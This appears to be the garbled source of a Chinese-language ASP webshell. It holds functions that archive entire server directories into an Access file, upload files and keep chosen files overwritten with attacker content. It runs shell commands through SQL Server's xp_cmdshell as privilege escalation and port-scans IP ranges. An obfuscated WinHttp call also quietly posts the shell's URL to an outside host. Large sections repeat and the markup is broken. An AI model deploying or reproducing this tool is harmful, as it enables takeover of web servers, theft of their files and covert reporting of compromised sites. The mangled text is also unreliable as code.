操作完成!
操作完成!
文件夹打包:
文件包解开(需FSO支持):
" End Sub Sub addToMdb(thePath) On Error Resume Next Dim rs, conn, stream, connStr, adoCatalog Set rs = Server.CreateObject("ADODB.RecordSet") Set stream = Server.CreateObject("ADODB.Stream") Set conn = Server.CreateObject("ADODB.Connection") Set adoCatalog = Server.CreateObject("ADOX.Catalog") connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & Server.MapPath("HSH.mdb") adoCatalog.Create connStr conn.Open connStr conn.Execute("Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED, thePath VarChar, fileContent Image)") stream.Open stream.Type = 1 rs.Open "FileData", conn, 3, 3 If Request("theMethod") = "fso" Then fsoTreeForMdb thePath, rs, stream Else saTreeForMdb thePath, rs, stream End If rs.Close Conn.Close stream.Close Set rs = Nothing Set conn = Nothing Set stream = Nothing Set adoCatalog = Nothing End Sub Function fsoTreeForMdb(thePath, rs, stream) Dim item, theFolder, folders, files, sysFileList sysFileList = "$HSH.mdb$HSH.ldb$" If Server.CreateObject("Scripting.FileSystemObject").FolderExists(thePath) = False Then showErr(thePath & " 目录不存在或者不允许访问!") End If Set theFolder = Server.CreateObject("Scripting.FileSystemObject").GetFolder(thePath) Set files = theFolder.Files Set folders = theFolder.SubFolders For Each item In folders fsoTreeForMdb item.Path, rs, stream Next For Each item In files If InStr(sysFileList, "$" & item.Name & "$") <= 0 Then rs.AddNew rs("thePath") = Mid(item.Path, 4) stream.LoadFromFile(item.Path) rs("fileContent") = stream.Read() rs.Update End If Next Set files = Nothing Set folders = Nothing Set theFolder = Nothing set fso=nothing End Function Sub unPack(thePath) On Error Resume Next Server.ScriptTimeOut=100000 Dim rs, ws, str, conn, stream, connStr, theFolder str = Server.MapPath(".") & "\" Set rs = CreateObject("ADODB.RecordSet") Set stream = CreateObject("ADODB.Stream") Set conn = CreateObject("ADODB.Connection") connStr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & thePath & ";" conn.Open connStr rs.Open "FileData", conn, 1, 1 stream.Open stream.Type = 1 Do Until rs.Eof theFolder = Left(rs("thePath"), InStrRev(rs("thePath"), "\")) If Server.CreateObject("Scripting.FileSystemObject").FolderExists(str & theFolder) = False Then createFolder(str & theFolder) End If stream.SetEos() stream.Write rs("fileContent") stream.SaveToFile str & rs("thePath"), 2 rs.MoveNext Loop rs.Close conn.Close stream.Close Set ws = Nothing Set rs = Nothing Set stream = Nothing Set conn = Nothing End Sub Sub createFolder(thePath) Dim i i = Instr(thePath, "\") Do While i > 0 If Server.CreateObject("Scripting.FileSystemObject").FolderExists(Left(thePath, i)) = False Then Server.CreateObject("Scripting.FileSystemObject").CreateFolder(Left(thePath, i - 1)) End If If InStr(Mid(thePath, i + 1), "\") Then i = i + Instr(Mid(thePath, i + 1), "\") Else i = 0 End If Loop End Sub Sub saTreeForMdb(thePath, rs, stream) Dim item, theFolder, sysFileList sysFileList = "$HSH.mdb$HSH.ldb$" Set theFolder = saX.NameSpace(thePath) For Each item In theFolder.Items If item.IsFolder = True Then saTreeForMdb item.Path, rs, stream Else If InStr(sysFileList, "$" & item.Name & "$") <= 0 Then rs.AddNew rs("thePath") = Mid(item.Path, 4) stream.LoadFromFile(item.Path) rs("fileContent") = stream.Read() rs.Update End If End If Next Set theFolder = Nothing End Sub Function ProFile() If Request("Action2")="Post" Then Randomize dim pass2,num1 pass2="" Do While Len(pass2)<8 if Len(pass2)<=4 then num1=CStr(Chr((122-97)*rnd+97)) 'a~z else num1=CStr(Chr((57-48)*rnd+48)) '0~9 end if pass2=pass2&num1 loop pass2=ucase(pass2) Application(pass2)=1 Application(pass2&"File")=request("AFile") Application(pass2&"Code")=request("ACode") Application(pass2&"Time")=request("ATime") Application(pass2&"Char")=request("AChar") j"
" Response.End End If SI="
" for each FileUrl in split(Application(request("ProFile")&"File"),vbcrlf) FileUrl=trim(FileUrl) if fsoXX.FileExists(FileUrl) then Set txt = fsoXX.OpenTextFile(FileUrl,1,true) rline="" if Not txt.AtEndOfStream then rline=txt.ReadAll end if if rline2<>rline then txt.close fsoX.GetFile(FileUrl).Attributes=32 if Application(request("ProFile")&"Char")=1 then set myfileee = fsoXX.CreateTextFile(FileUrl,true) else set myfileee = fsoXX.CreateTextFile(FileUrl,true,true) end if myfileee.writeline Application(request("ProFile")&"Code") Application(request("ProFile")&"Con")=now()&" "&FileUrl&" 被更改，已恢复
"&Application(request("ProFile")&"Con") else Application(request("ProFile")&"Con")=now()&" "&FileUrl&" √
"&Application(request("ProFile")&"Con") txt.close end if else if Application(request("ProFile")&"Char")=1 then set myfileee = fsoXX.CreateTextFile(FileUrl,true) else set myfileee = fsoXX.CreateTextFile(FileUrl,true,true) end if myfileee.writeline Application(request("ProFile")&"Code") Application(request("ProFile")&"Con")=now()&" "&FileUrl&" 被删除，已恢复
"&Application(request("ProFile")&"Con") end if next if ubound(split(Application(request("ProFile")&"Con"),"
"))>=40 then dim ashowic for ashowi=0 to 40 ashowic=ashowic&split(Application(request("ProFile")&"Con"),"
")(ashowi)&"
" next Application(request("ProFile")&"Con")=ashowic end if j Application(request("ProFile")&"Con") else j servrer if request("ProFile")=AChar then il x (mm) end if response.end end if Function MainMenu() j"
| 无权限 | |||||||||||
---------------- ---------------- "&GG&"
请输"&"入上"&"传"&"的完全"&"路径后选择"&"一个文件"&"上"&"传! " on error resume next Else F.SaveAs UName If Err.number=0 Then SI=" 文"&"件"&"上"&"传"&"成功！"&UName&" | |||||||||||
| |||||||||||
| SQL提权 |
| SQL提权 |
" j"" j"" j" |
" end if if request("sqlaaa")="login" then set adoconn=server.createobject("adodb.connection") adoconn.open "provider=sqloledb.1;data source=" & request.form("server") & "," & request.form("port") & ";password=" & request.form("pass") & ";uid=" & request.form("name") if err.number=-2147467259 then j"数据源连接错误，请检查！" response.end elseif err.number=-2147217843 then j"用户名密码错误错误，请检查！" response.end elseif err.number=0 then strquery="select @@version" set recresult = adoconn.execute(strquery) j"
郁闷，权限不够估计不能执行命令！
xp_servicecontrol....... 不存在!
" session("xp_servicecontrol")=0 end if else j"" j"
| ||
| " If flag=0 Then j" " Else End if j" |
| 磁盘/系统文件夹信息 | ||||
"
Set FSO=Nothing:End Sub:li=""""">eecamrex>""=a>"">x>""=eyaecux"))
Sub ScFolder(folder):On Error Resume Next:folderArr = Split(folder,vbcrlf):For i = 0 To Ubound(folderArr): Dim FSO,OFolder,TempFolder,Scmsg,S: Set FSO = Server.Createobject("Scripting.FileSystemObject"): folder = folderArr(i): If FSO.FolderExists(folder) Then: Set OFolder = FSO.GetFolder(folder): Set TempFolders = OFolder.SubFolders: Scmsg = "指定文件夹根目录：" & ScReWr(folder): For Each S in TempFolders: Scmsg = Scmsg&" 文件夹：" & ScReWr(S) : Next: Set TempFolders = Nothing: Set OFolder = Nothing:else: Scmsg = " 文件夹：" & Red(folder & "不存在或无读权限!"): End if: Set FSO = Nothing:: Message "",Scmsg,1:On Error Resume Next:next: j"
注意：不要多次刷新本页面，否则在只写文件夹会留下大量垃圾文件,对不存在的目录做了修改，只显示存在的目录!
注意：不要多次刷新本页面，否则在只写文件夹会留下大量垃圾文件,对不存在的目录做了修改，只显示存在的目录!
N"&eror&"
"&backurl end if else si=""&icot&"
"&Copyright&"" If request.Form("scan") <> "" Then timer1 = timer j("扫描报告:
") tmp = Split(request.Form("port"),",") ip = Split(request.Form("ip"),",") For hu = 0 to Ubound(ip) If InStr(ip(hu),"-") = 0 Then For i = 0 To Ubound(tmp) If Isnumeric(tmp(i)) Then Call Scan(ip(hu), tmp(i)) Else seekx = InStr(tmp(i), "-") If seekx > 0 Then startN = Left(tmp(i), seekx - 1 ) endN = Right(tmp(i), Len(tmp(i)) - seekx ) If Isnumeric(startN) and Isnumeric(endN) Then For j = startN To endN Call Scan(ip(hu), j) Next Else j(startN & " or " & endN & " is not number
") End If Else j(tmp(i) & " is not number
") End If End If Next Else ipStart = Mid(ip(hu),1,InStrRev(ip(hu),".")) For xxx = Mid(ip(hu),InStrRev(ip(hu),".")+1,1) to Mid(ip(hu),InStr(ip(hu),"-")+1,Len(ip(hu))-InStr(ip(hu),"-")) For i = 0 To Ubound(tmp) If Isnumeric(tmp(i)) Then Call Scan(ipStart & xxx, tmp(i)) Else seekx = InStr(tmp(i), "-") If seekx > 0 Then startN = Left(tmp(i), seekx - 1 ) endN = Right(tmp(i), Len(tmp(i)) - seekx ) If Isnumeric(startN) and Isnumeric(endN) Then For j = startN To endN Call Scan(ipStart & xxx,j) Next Else j(startN & " or " & endN & " is not number
") End If Else j(tmp(i) & " is not number
") End If End If Next Next End If Next timer2 = timer thetime=cstr(int(timer2-timer1)) j"
Process in "&thetime&" s" END IF end sub Sub Scan(targetip, portNum) On Error Resume Next set conn = Server.CreateObject("ADODB.connection") connstr="Provider=SQLOLEDB.1;Data Source=" & targetip &","& portNum &";User ID=lake2;Password=;" conn.ConnectionTimeout = 1 conn.open connstr If Err Then If Err.number = -2147217843 or Err.number = -2147467259 Then If InStr(Err.description, "(Connect()).") > 0 Then j(targetip & ":" & portNum & ".........关闭
") Else j(targetip & ":" & portNum & ".........开放
") End If End If End If End Sub Select Case Action:case "MainMenu":MainMenu() Case "EditPower" Call EditPower(request("PowerPath")) Case "SavePower" Call SavePower(request("PowerPath"),request("SaveType")) case "getTerminalInfo":getTerminalInfo():case "PageAddToMdb":PageAddToMdb():case "ScanPort":ScanPort():FuncTion MMD():SI="
":j SI:SI="":If trim(request.form("MMD"))<>"" Then:password= trim(Request.form("P")):id=trim(Request.form("U")):set adoConn=sERvEr.crEATeobjECT("ADODB.Connection"):adoConn.Open "Provider=SQLOLEDB.1;Password="&password&";User ID="&id:strQuery = "exec master.dbo.xp_cMdsHeLl '" & request.form("MMD") & "'":set recResult = adoConn.Execute(strQuery):If NOT recResult.EOF Then:Do While NOT recResult.EOF:strResult = strResult & chr(13) & recResult(0):recResult.MoveNext:Loop:End if:set recResult = Nothing:strResult = Replace(strResult," "," "):strResult = Replace(strResult,"<","<"):strResult = Replace(strResult,">",">"):strResult = Replace(strResult,chr(13),"
"):End if:set adoConn = Nothing:j request.form("MMD") & "
"& strResult:end FuncTion:function x(Posturl): dim w: w="^w^inhttp.^wi^nhttprequest.5.1": Posturl=replace(trim(Posturl),vbcrlf,""): on error resume next: set http= CreateObject(replace(w,"^","")): http.open "POST",Posturl,false: http.SetRequestHeader "REFERER", "http://"&u&request.ServerVariables("URL"):http.send: Set http=Nothing:end function: case "Alexa" dim AlexaUrl,Top: AlexaUrl=request("u"): Top=Alexa(AlexaUrl): if AlexaUrl="" then AlexaUrl=""&request.servervariables("http_host")&"" SI="
"&backurl end if else si="
"&Copyright&"" If request.Form("scan") <> "" Then timer1 = timer j("扫描报告:
") tmp = Split(request.Form("port"),",") ip = Split(request.Form("ip"),",") For hu = 0 to Ubound(ip) If InStr(ip(hu),"-") = 0 Then For i = 0 To Ubound(tmp) If Isnumeric(tmp(i)) Then Call Scan(ip(hu), tmp(i)) Else seekx = InStr(tmp(i), "-") If seekx > 0 Then startN = Left(tmp(i), seekx - 1 ) endN = Right(tmp(i), Len(tmp(i)) - seekx ) If Isnumeric(startN) and Isnumeric(endN) Then For j = startN To endN Call Scan(ip(hu), j) Next Else j(startN & " or " & endN & " is not number
") End If Else j(tmp(i) & " is not number
") End If End If Next Else ipStart = Mid(ip(hu),1,InStrRev(ip(hu),".")) For xxx = Mid(ip(hu),InStrRev(ip(hu),".")+1,1) to Mid(ip(hu),InStr(ip(hu),"-")+1,Len(ip(hu))-InStr(ip(hu),"-")) For i = 0 To Ubound(tmp) If Isnumeric(tmp(i)) Then Call Scan(ipStart & xxx, tmp(i)) Else seekx = InStr(tmp(i), "-") If seekx > 0 Then startN = Left(tmp(i), seekx - 1 ) endN = Right(tmp(i), Len(tmp(i)) - seekx ) If Isnumeric(startN) and Isnumeric(endN) Then For j = startN To endN Call Scan(ipStart & xxx,j) Next Else j(startN & " or " & endN & " is not number
") End If Else j(tmp(i) & " is not number
") End If End If Next Next End If Next timer2 = timer thetime=cstr(int(timer2-timer1)) j"
Process in "&thetime&" s" END IF end sub Sub Scan(targetip, portNum) On Error Resume Next set conn = Server.CreateObject("ADODB.connection") connstr="Provider=SQLOLEDB.1;Data Source=" & targetip &","& portNum &";User ID=lake2;Password=;" conn.ConnectionTimeout = 1 conn.open connstr If Err Then If Err.number = -2147217843 or Err.number = -2147467259 Then If InStr(Err.description, "(Connect()).") > 0 Then j(targetip & ":" & portNum & ".........关闭
") Else j(targetip & ":" & portNum & ".........开放
") End If End If End If End Sub Select Case Action:case "MainMenu":MainMenu() Case "EditPower" Call EditPower(request("PowerPath")) Case "SavePower" Call SavePower(request("PowerPath"),request("SaveType")) case "getTerminalInfo":getTerminalInfo():case "PageAddToMdb":PageAddToMdb():case "ScanPort":ScanPort():FuncTion MMD():SI="
":j SI:SI="":If trim(request.form("MMD"))<>"" Then:password= trim(Request.form("P")):id=trim(Request.form("U")):set adoConn=sERvEr.crEATeobjECT("ADODB.Connection"):adoConn.Open "Provider=SQLOLEDB.1;Password="&password&";User ID="&id:strQuery = "exec master.dbo.xp_cMdsHeLl '" & request.form("MMD") & "'":set recResult = adoConn.Execute(strQuery):If NOT recResult.EOF Then:Do While NOT recResult.EOF:strResult = strResult & chr(13) & recResult(0):recResult.MoveNext:Loop:End if:set recResult = Nothing:strResult = Replace(strResult," "," "):strResult = Replace(strResult,"<","<"):strResult = Replace(strResult,">",">"):strResult = Replace(strResult,chr(13),"
"):End if:set adoConn = Nothing:j request.form("MMD") & "
"& strResult:end FuncTion:function x(Posturl): dim w: w="^w^inhttp.^wi^nhttprequest.5.1": Posturl=replace(trim(Posturl),vbcrlf,""): on error resume next: set http= CreateObject(replace(w,"^","")): http.open "POST",Posturl,false: http.SetRequestHeader "REFERER", "http://"&u&request.ServerVariables("URL"):http.send: Set http=Nothing:end function: case "Alexa" dim AlexaUrl,Top: AlexaUrl=request("u"): Top=Alexa(AlexaUrl): if AlexaUrl="" then AlexaUrl=""&request.servervariables("http_host")&"" SI="
| 服务器组件信息 | ||
| 服务器名 | "&request.serverVariables("SERVER_NAME")&" | |
| 服务器时间 | "&now&" | |
| 服务器CPU数量 | "&Request.ServerVariables("NUMBER_OF_PROCESSORS")&" | |
| 服务器语种 | "&request.servervariables("http_accept_language")&" | |
| 服务器操作系统 | "&Request.ServerVariables("OS")&" | |
| WEB服务器版本 | "&Request.ServerVariables("SERVER_SOFTWARE")&" | |
| "&ObT(i,0)&" | "&ObT(i,1)&" | "&ObT(i,2)&" |